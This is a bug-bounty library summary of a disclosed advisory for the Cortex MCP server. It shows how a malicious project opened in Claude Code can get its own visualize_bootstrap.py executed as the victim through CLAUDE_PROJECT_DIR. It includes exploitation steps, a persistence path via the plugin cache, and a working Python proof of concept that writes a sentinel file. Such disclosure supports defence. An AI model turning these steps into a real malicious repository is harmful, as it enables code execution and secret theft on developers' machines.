# Cortex has Untrusted Project Bootstrap Code Execution via `CLAUDE_PROJECT_DIR`

Cortex MCP server trusts CLAUDE_PROJECT_DIR as a dev source root, so a malicious opened project's visualize_bootstrap.py runs as the victim's user.

- Payout: Research
- Severity: high
- Program: Cortex
- Found by: EQSTLab, useworld
- Disclosed: 2026-07-01
- CVE: CVE-2026-49986
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gvpp-v77h-5w8g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gvpp-v77h-5w8g
- Tags: area:ai domain:ai domain:desktop impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:llm tech:python technique:source-review vuln:misconfiguration vuln:rce

**Target:** Cortex MCP server open_visualization tool / visualize_bootstrap.py
**Root cause:** _find_dev_source() treats the auto-set CLAUDE_PROJECT_DIR as a trusted Cortex checkout, and _is_cortex_root() only checks for an mcp_server/ dir and ui/unified-viz.html file, which an attacker can trivially create.
**Steps:**
1. Create a project dir with `mcp_server/server/` and `ui/unified-viz.html` marker files.
2. Place attacker Python at `mcp_server/server/visualize_bootstrap.py`.
3. Set `CLAUDE_PROJECT_DIR` to that dir (or get victim to open it in Claude Code).
4. Invoke the `open_visualization` MCP tool / `/cortex-visualize`.
5. Handler resolves dev_src, passes `_is_cortex_root()`, and runs `subprocess.run([sys.executable, str(bootstrap_path)])`.
**How found:** Code review of open_visualization.py: noticed CLAUDE_PROJECT_DIR (attacker-influenced, auto-set by the IDE) in the dev-source candidate list and that _is_cortex_root() validation was only two trivial file/dir existence checks with no signature or remote identity check.
**Exploitation:** Victim opens an attacker-crafted repo in Claude Code (auto-setting CLAUDE_PROJECT_DIR) and triggers the visualization tool; the handler executes the attacker's visualize_bootstrap.py with the victim's local user privileges, enabling secret exfiltration, file tampering, or persistence via the http_launcher rsync path into the plugin cache.
**Escalation:** Secondary path in http_launcher.py rsyncs attacker files into the Cortex plugin cache, giving persistence after the malicious project is closed.
**Insight:** When an IDE auto-populates env vars like CLAUDE_PROJECT_DIR pointing at user-opened repos, any code path that treats them as trusted source roots is attacker-controlled; marker-file checks (dir + html) are not identity checks.

## Proof of concept (copied exactly from the original report)

**Inline PoC executing attacker bootstrap via CLAUDE_PROJECT_DIR**

```
import asyncio, os, tempfile
from pathlib import Path
from mcp_server.handlers import open_visualization as ov

base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))
(base / "mcp_server" / "server").mkdir(parents=True)
(base / "ui").mkdir()
(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")

sentinel = Path("/tmp/cortex-open-visualization-poc-owned")
if sentinel.exists():
    sentinel.unlink()

(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(
    "from pathlib import Path\n"
    "Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"
    "print('bootstrap-ran')\n",
    encoding="utf-8",
)

os.environ["CLAUDE_PROJECT_DIR"] = str(base)
ov.launch_server = lambda _typ: "http://127.0.0.1:3458"
ov.open_in_browser = lambda _url: None

result = asyncio.run(ov.handler({}))
print(result.get("bootstrap"))
print(sentinel.read_text())
```

